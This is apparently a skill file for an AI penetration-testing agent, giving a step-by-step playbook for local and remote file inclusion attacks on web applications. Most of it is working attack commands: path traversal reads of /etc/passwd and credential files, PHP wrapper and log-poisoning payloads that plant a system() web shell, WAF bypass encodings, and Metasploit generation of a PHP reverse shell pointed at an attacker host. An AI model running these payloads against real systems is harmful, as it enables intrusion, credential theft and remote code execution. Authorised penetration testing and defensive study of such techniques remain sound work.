| name | lfi-pentest |
| description | Guides local and remote file inclusion testing with traversal payloads, PHP wrappers, log poisoning, and LFI-to-RCE chains. Use when parameters like page, file, include, or path accept filenames or traversal sequences. |
File Inclusion Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
- Parameters:
page, file, include, path, template, document, folder
- Responses referencing local paths, PHP warnings, or "failed to open stream"
../ or encoded traversal sequences alter page content or cause errors
- PHP application with dynamic includes or legacy CMS path parameters
- Remote URL accepted in include parameters (RFI indicators)
- Log files,
/proc/self/environ, or session files reachable via path manipulation
Workflow
Task Progress:
- [ ] Identify inclusion parameters and target OS (Linux/Windows)
- [ ] Test with low-impact probes (../../../etc/passwd, ..\\..\\windows\\win.ini)
- [ ] Confirm LFI vs directory traversal vs RFI
- [ ] Apply encoding/null-byte/path truncation bypasses when blocked
- [ ] Escalate via PHP wrappers, log poisoning, or LFI-to-RCE chains
- [ ] Document with request/response evidence and file content proof
Detection
Linux traversal
CLI (primary for web vulns):
ffuf -u "http://<target>/page?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
dotdotpwn -m http -h <target> -x 80 -f /etc/passwd -k "root:"
curl -s "http://<target>/page?file=../../../etc/passwd"
Payloads: ....//....//etc/passwd, ..%2f..%2fetc/passwd, /proc/self/environ
MSF MCP: No direct module. Use msf_search_modules(query="lfi") or msf_search_modules(query="directory traversal").
Windows traversal
CLI (primary):
curl -s "http://<target>/page?file=..\\..\\..\\windows\\win.ini"
curl -s "http://<target>/page?file=C:\\windows\\win.ini"
MSF MCP: No direct module.
Exploitation by variant
PHP filter wrapper (source read)
CLI (primary):
curl -s "http://<target>/page?file=php://filter/convert.base64-encode/resource=index.php"
curl -s "http://<target>/page?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
MSF MCP: No direct module.
PHP input and data wrappers (RCE)
CLI (primary):
curl -X POST "http://<target>/page?file=php://input&cmd=id" -d "<?php system(\$_GET['cmd']); ?>"
curl -s "http://<target>/page?file=data://text/plain,<?php system('id');?>"
curl -s "http://<target>/page?file=expect://id"
MSF MCP post-RCE:
msf_generate_payload(
engagement_id="<id>",
payload="php/meterpreter/reverse_tcp",
format="raw",
options={"LHOST": "<attacker>", "LPORT": 4444},
output_path="evidence/msf/shell.php"
)
nginx alias misconfiguration
CLI (primary):
curl -s "http://<target>/static../etc/passwd"
curl -s "http://<target>/assets../config/database.yml"
Alias trailing slash mismatch allows traversal outside intended directory.
MSF MCP: No direct module.
/proc/self/fd/ enumeration
CLI (primary):
for i in $(seq 0 30); do curl -s "http://<target>/page?file=/proc/self/fd/$i" | head -1; done
curl -s "http://<target>/page?file=/proc/self/fd/0"
curl -s "http://<target>/page?file=/proc/self/maps"
Read open file descriptors, log handles, or poisoned environ via fd paths.
MSF MCP: No direct module.
Log poisoning (Apache/nginx/PEAR)
CLI (primary):
curl -A "<?php system(\$_GET['cmd']); ?>" "http://<target>/"
curl -s "http://<target>/page?file=/var/log/apache2/access.log&cmd=id"
curl -s "http://<target>/page?file=/var/log/nginx/access.log&cmd=id"
curl -s "http://<target>/page?file=/usr/local/lib/php/pearcmd.php&cmd=id"
curl -s "http://<target>/page?file=/tmp/pear.log&cmd=id"
Also: /var/log/auth.log, session file poisoning via controlled session ID.
MSF MCP: No direct module.
Windows LFI-to-RCE
CLI (primary):
curl -s "http://<target>/page?file=C:\\inetpub\\wwwroot\\web.config"
curl -s "http://<target>/page?file=C:\\Windows\\Temp\\phpXXXX.tmp"
curl -s "http://<target>/page?file=C:\\PROGRA~1\\..."
IIS log poisoning: inject ASP/PHP into User-Agent, include C:\inetpub\logs\LogFiles\...
MSF MCP: No direct module.
PHP filter chain (PHP 8+)
CLI (primary):
python3 php_filter_chain_generator.py --chain '<?=`id`?>'
MSF MCP: No direct module.
phar:// and zip:// wrappers
CLI (primary):
curl -s "http://<target>/page?file=phar://uploads/evil.jpg/shell.php"
curl -s "http://<target>/page?file=zip://uploads/file.zip%23shell.php"
Chain with deserialization-pentest for Phar deserialization.
MSF MCP: No direct module.
Filter/WAF bypass
CLI (primary):
ffuf -u "http://<target>/page?file=FUZZ" -w lfi-bypass.txt
| Filter | Bypass |
|---|
../ blocked | ....//, ..;/, %2e%2e%2f, %252e%252e%252f |
/etc/passwd blocked | /proc/self/root/etc/passwd |
| Extension append | Null byte %00, path truncation |
| Unicode | %c0%ae%c0%ae/ overlong UTF-8 |
MSF MCP: No direct module.
Impact escalation
| Stage | CLI | MSF MCP |
|---|
| File read | traversal, php://filter | search only |
| Source code | base64-encode PHP source | N/A |
| RCE | log poisoning, php://input | generate_payload |
| Credentials | Read .env, SSH keys | N/A |
Tool reference
ffuf -u "http://<target>/page?file=FUZZ" -w lfi-wordlist.txt -fs 0
dotdotpwn -m http -h <target> -x 80 -f /etc/passwd -k "root:"
python3 php_filter_chain_generator.py --chain '<?=`id`?>'
Related skills
web-app-pentest - overall web testing flow
deserialization-pentest - phar:// wrapper chains to object injection
xxe-pentest - alternate path to local file read via XML parsers
cmdi-pentest - log poisoning and expect:// may yield command execution